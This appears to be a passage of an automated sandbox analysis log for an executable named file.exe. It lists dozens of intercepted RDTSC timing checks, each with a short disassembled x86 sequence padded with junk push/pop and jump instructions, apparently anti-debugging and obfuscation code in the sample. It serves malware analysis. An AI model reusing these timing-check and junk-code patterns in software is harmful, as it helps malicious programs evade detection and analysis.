Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B77EDA second address: 9D3E5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push dword ptr [ebp+122D126Dh] 0x0000000f xor di, 7D00h 0x00000014 call dword ptr [ebp+122D1FFEh] 0x0000001a pushad 0x0000001b jne 00007F08C0CB4527h 0x00000021 xor eax, eax 0x00000023 jnl 00007F08C0CB4527h 0x00000029 mov edx, dword ptr [esp+28h] 0x0000002d jno 00007F08C0CB452Ch 0x00000033 jmp 00007F08C0CB4539h 0x00000038 mov dword ptr [ebp+122D2EB9h], eax 0x0000003e pushad 0x0000003f sub dword ptr [ebp+122D33CBh], esi 0x00000045 add esi, dword ptr [ebp+122D2DB1h] 0x0000004b popad 0x0000004c mov esi, 0000003Ch 0x00000051 pushad 0x00000052 xor di, F3D0h 0x00000057 xor dword ptr [ebp+122D1C3Dh], edx 0x0000005d popad 0x0000005e add esi, dword ptr [esp+24h] 0x00000062 sub dword ptr [ebp+122D1C52h], edx 0x00000068 lodsw 0x0000006a jmp 00007F08C0CB4535h 0x0000006f add eax, dword ptr [esp+24h] 0x00000073 jnp 00007F08C0CB4527h 0x00000079 mov ebx, dword ptr [esp+24h] 0x0000007d jmp 00007F08C0CB452Fh 0x00000082 nop 0x00000083 pushad 0x00000084 push eax 0x00000085 jno 00007F08C0CB4526h 0x0000008b pop eax 0x0000008c push eax 0x0000008d push edx 0x0000008e jbe 00007F08C0CB4526h 0x00000094 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7801D second address: B78022 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B78022 second address: B78062 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F08C0CB452Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d je 00007F08C0CB4540h 0x00000013 jo 00007F08C0CB453Ah 0x00000019 jmp 00007F08C0CB4534h 0x0000001e mov eax, dword ptr [eax] 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 push edi 0x00000024 pop edi 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B78062 second address: B78067 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B78067 second address: B7807A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F08C0CB452Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7807A second address: B780D8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c jmp 00007F08C0C9195Ah 0x00000011 pop eax 0x00000012 push 00000000h 0x00000014 push eax 0x00000015 call 00007F08C0C91958h 0x0000001a pop eax 0x0000001b mov dword ptr [esp+04h], eax 0x0000001f add dword ptr [esp+04h], 00000016h 0x00000027 inc eax 0x00000028 push eax 0x00000029 ret 0x0000002a pop eax 0x0000002b ret 0x0000002c sub ecx, 137DA912h 0x00000032 call 00007F08C0C91959h 0x00000037 js 00007F08C0C91964h 0x0000003d push eax 0x0000003e pushad 0x0000003f push eax 0x00000040 push edx 0x00000041 push esi 0x00000042 pop esi 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B780D8 second address: B780F1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jc 00007F08C0CB4526h 0x0000000d pop ecx 0x0000000e popad 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B780F1 second address: B780F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B780F5 second address: B780FF instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F08C0CB4526h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B780FF second address: B7811B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F08C0C9195Dh 0x00000008 push edx 0x00000009 pop edx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov eax, dword ptr [eax] 0x0000000f push eax 0x00000010 push edx 0x00000011 push ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7811B second address: B78120 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7835A second address: B7835E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B78437 second address: B7844A instructions: 0x00000000 rdtsc 0x00000002 js 00007F08C0CB4526h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jo 00007F08C0CB4526h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B78586 second address: B7858A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7858A second address: B7858E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7858E second address: B785E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push esi 0x0000000b call 00007F08C0C91958h 0x00000010 pop esi 0x00000011 mov dword ptr [esp+04h], esi 0x00000015 add dword ptr [esp+04h], 0000001Ah 0x0000001d inc esi 0x0000001e push esi 0x0000001f ret 0x00000020 pop esi 0x00000021 ret 0x00000022 mov edx, 32F8C6D3h 0x00000027 push 00000004h 0x00000029 push 00000000h 0x0000002b push ebx 0x0000002c call 00007F08C0C91958h 0x00000031 pop ebx 0x00000032 mov dword ptr [esp+04h], ebx 0x00000036 add dword ptr [esp+04h], 00000014h 0x0000003e inc ebx 0x0000003f push ebx 0x00000040 ret 0x00000041 pop ebx 0x00000042 ret 0x00000043 mov dword ptr [ebp+122D33A5h], esi 0x00000049 nop 0x0000004a pushad 0x0000004b push eax 0x0000004c push edx 0x0000004d push eax 0x0000004e push edx 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B785E7 second address: B785EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B78A8D second address: B78A91 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B78A91 second address: B78A97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B78A97 second address: B78A9C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B78D70 second address: B78DFF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F08C0CB4539h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push edi 0x0000000e call 00007F08C0CB4528h 0x00000013 pop edi 0x00000014 mov dword ptr [esp+04h], edi 0x00000018 add dword ptr [esp+04h], 00000016h 0x00000020 inc edi 0x00000021 push edi 0x00000022 ret 0x00000023 pop edi 0x00000024 ret 0x00000025 jnp 00007F08C0CB452Ch 0x0000002b ja 00007F08C0CB453Dh 0x00000031 lea eax, dword ptr [ebp+1247767Ah] 0x00000037 mov edx, dword ptr [ebp+122D2F41h] 0x0000003d nop 0x0000003e push eax 0x0000003f push edx 0x00000040 push ecx 0x00000041 jmp 00007F08C0CB4538h 0x00000046 pop ecx 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B78DFF second address: B78E11 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jbe 00007F08C0C91964h 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B78E11 second address: B78E17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B78E17 second address: B55B4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 nop 0x00000006 push 00000000h 0x00000008 push ecx 0x00000009 call 00007F08C0C91958h 0x0000000e pop ecx 0x0000000f mov dword ptr [esp+04h], ecx 0x00000013 add dword ptr [esp+04h], 00000017h 0x0000001b inc ecx 0x0000001c push ecx 0x0000001d ret 0x0000001e pop ecx 0x0000001f ret 0x00000020 jmp 00007F08C0C91962h 0x00000025 call dword ptr [ebp+12443A95h] 0x0000002b pushad 0x0000002c pushad 0x0000002d js 00007F08C0C91956h 0x00000033 push esi 0x00000034 pop esi 0x00000035 push eax 0x00000036 push edx 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B334F7 second address: B334FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA74F6 second address: BA7508 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push edi 0x00000007 pop edi 0x00000008 popad 0x00000009 pop edi 0x0000000a pushad 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push edx 0x0000000f pop edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA76A3 second address: BA76A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA7AE8 second address: BA7B15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 ja 00007F08C0C91962h 0x0000000b jmp 00007F08C0C91962h 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA7DE7 second address: BA7E04 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F08C0CB4538h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA7F32 second address: BA7F36 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA7F36 second address: BA7F44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 je 00007F08C0CB4528h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA7F44 second address: BA7F63 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F08C0C9195Ah 0x00000007 jl 00007F08C0C9195Ch 0x0000000d je 00007F08C0C91956h 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA7F63 second address: BA7F69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA7F69 second address: BA7F8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F08C0C91956h 0x0000000a popad 0x0000000b pushad 0x0000000c jmp 00007F08C0C91963h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA7F8A second address: BA7F8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA7F8F second address: BA7F9B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jl 00007F08C0C91956h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAC9A2 second address: BAC9C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 jmp 00007F08C0CB4536h 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BACB2E second address: BACB34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BACDB7 second address: BACDDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push edx 0x00000006 jmp 00007F08C0CB4531h 0x0000000b pop edx 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F08C0CB452Ch 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BACF36 second address: BACF48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 push ecx 0x00000007 push edx 0x00000008 jng 00007F08C0C91956h 0x0000000e pop edx 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAD0D6 second address: BAD0E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F08C0CB4526h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAD0E2 second address: BAD0F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F08C0C91960h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAD0F9 second address: BAD103 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F08C0CB4526h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAD103 second address: BAD11B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F08C0C9195Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAD11B second address: BAD121 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAD2BE second address: BAD2D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 je 00007F08C0C91956h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAD2D4 second address: BAD2D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAD2D8 second address: BAD2EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F08C0C91961h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAD2EF second address: BAD2F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F08C0CB4526h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAD2F9 second address: BAD31E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jng 00007F08C0C91971h 0x0000000e jmp 00007F08C0C91965h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAD4A5 second address: BAD4AF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAD4AF second address: BAD4B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAD4B3 second address: BAD4BD instructions: 0x00000000 rdtsc 0x00000002 jng 00007F08C0CB4526h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAD4BD second address: BAD4C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jl 00007F08C0C91956h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAD770 second address: BAD774 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAD774 second address: BAD78D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F08C0C91960h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAD78D second address: BAD793 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAD793 second address: BAD7AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F08C0C91965h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAD913 second address: BAD929 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 jmp 00007F08C0CB452Fh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAD929 second address: BAD952 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 jmp 00007F08C0C91969h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d jne 00007F08C0C91962h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAD952 second address: BAD958 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB5FF7 second address: BB600D instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F08C0C91956h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jnl 00007F08C0C9195Ch 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB600D second address: BB6013 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB6013 second address: BB6025 instructions: 0x00000000 rdtsc 0x00000002 js 00007F08C0C91956h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jp 00007F08C0C9195Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB4E33 second address: BB4E3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB4E3B second address: BB4E40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB4E40 second address: BB4E59 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop ebx 0x00000006 jnp 00007F08C0CB452Ch 0x0000000c jo 00007F08C0CB4526h 0x00000012 pop edx 0x00000013 pop eax 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 push edx 0x00000018 pop edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB4E59 second address: BB4E6C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F08C0C9195Fh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB537F second address: BB5389 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F08C0CB4526h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB5389 second address: BB538F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB538F second address: BB53CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F08C0CB4539h 0x0000000c jmp 00007F08C0CB4536h 0x00000011 jnl 00007F08C0CB4526h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB53CC second address: BB53F3 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F08C0C91972h 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB4B38 second address: BB4B42 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F08C0CB4526h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB5A73 second address: BB5A77 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB5A77 second address: BB5A7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB5A7D second address: BB5ACC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F08C0C91967h 0x0000000c jmp 00007F08C0C91960h 0x00000011 jmp 00007F08C0C91963h 0x00000016 push eax 0x00000017 pop eax 0x00000018 popad 0x00000019 pushad 0x0000001a push esi 0x0000001b pop esi 0x0000001c jne 00007F08C0C91956h 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB8C3B second address: BB8C6D instructions: 0x00000000 rdtsc 0x00000002 jo 00007F08C0CB4526h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b pushad 0x0000000c jg 00007F08C0CB452Ah 0x00000012 pushad 0x00000013 jp 00007F08C0CB4526h 0x00000019 push edx 0x0000001a pop edx 0x0000001b jc 00007F08C0CB4526h 0x00000021 popad 0x00000022 pushad 0x00000023 push ecx 0x00000024 pop ecx 0x00000025 push edi 0x00000026 pop edi 0x00000027 popad 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b popad 0x0000002c pushad 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBC0DB second address: BBC0DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBC0DF second address: BBC120 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F08C0CB4538h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jmp 00007F08C0CB452Eh 0x00000011 jmp 00007F08C0CB452Ch 0x00000016 jns 00007F08C0CB4526h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBF15E second address: BBF162 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBF162 second address: BBF177 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d je 00007F08C0CB4526h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBF177 second address: BBF17B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBF17B second address: BBF195 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F08C0CB4534h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBEAE4 second address: BBEAE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBEAE8 second address: BBEAEC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBEC80 second address: BBEC84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
